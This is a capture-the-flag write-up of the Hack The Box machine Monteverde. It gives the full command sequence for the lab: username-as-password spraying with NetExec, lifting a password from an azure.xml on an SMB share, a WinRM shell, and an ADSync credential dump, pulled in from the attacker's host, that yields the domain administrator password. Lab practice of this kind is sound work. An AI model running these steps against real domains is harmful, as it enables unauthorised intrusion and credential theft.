
HTB: Monteverde
Spraying every username as its own password lands a service account. That account can read an azure.xml holding a second password, and membership of Azure Admins means the local ADSync database will hand over the domain administrator credential in plaintext.

Kicking things off with this box we can already tell this is an AD CTF, with ports 88, 135, 139 and 3268 open, so it's time to run our usual NetExec process of enumeration and see what we can get from the machine.
enum4linux-ng -A 10.129.228.111
That gives us a lot of info on this box. RPC is giving off a great amount of detail and we can pull the password policy, so let's log into RPC, hit it with enumdomusers and pull some usernames.
rpcclient -U '' -N 10.129.228.111
rpcclient $> enumdomusers

Let's throw these usernames into a users.txt file and begin enumerating SMB with NetExec. We'll spray the list against itself, using each username as its own password.
nxc smb 10.129.228.111 -u users.txt -p users.txt --no-bruteforce --continue-on-success

Spraying the users with their own usernames gives us access to one of the juicy service accounts. You should already know the next step here. Let's run that user by NetExec SMB and enumerate those shares.
nxc smb 10.129.228.111 -u 'SABatchJobs' -p 'SABatchJobs' --shares
Within the mhope folder on the users share we find an azure.xml that carries a password. Let's note this down and see what we can do with it.
nxc smb 10.129.228.111 -u users.txt -p '4n0therD4y@n0th3r$'

Spraying the users with that password gives us access to the mhope user. We get nothing new from the shares, but when checking for WinRM access we get a Pwn3d, so let's get a shell on the mhope account.
nxc winrm 10.129.228.111 -u 'mhope' -p '4n0therD4y@n0th3r$'

evil-winrm -i 10.129.228.111 -u mhope -p '4n0therD4y@n0th3r$'
Heading to the user's desktop we find the user.txt flag.

Now for privesc. Let's enumerate the machine by checking privileges and running winPEAS. We get alright info, but forget winPEAS, check this out.
net user mhope /domain

We are part of the Azure Admins group. That is the whole box right there. Azure AD Connect syncs on-prem accounts up to Azure, and to do that it has to store a set of credentials it can decrypt itself, sitting in a local ADSync database.
After a little research we find this.
Azure-ADConnect.ps1 from the PsCabesha-tools repo
It's an Azure ADSync dumper. Let's bring this over to our CTF box and run it.
IWR -Uri http://10.10.14.21/Azure-ADConnect.ps1 -o adc.ps1
. .\adc.ps1
Azure-ADConnect -server 127.0.0.1 -db ADSync

Bam, we got the administrator creds. Let's run it by evil-winrm and grab a shell.
evil-winrm -i 10.129.228.111 -u administrator -p 'd0m@in4dminyeah!'

And we got the root flag.
This box was pretty interesting. I haven't dealt much with Azure systems, so this was good practice at locating config files with credentials in them. It is always worth spraying usernames as their own passwords. I find it funny how many cases are like this. Simply lazy work by whoever set up the system.
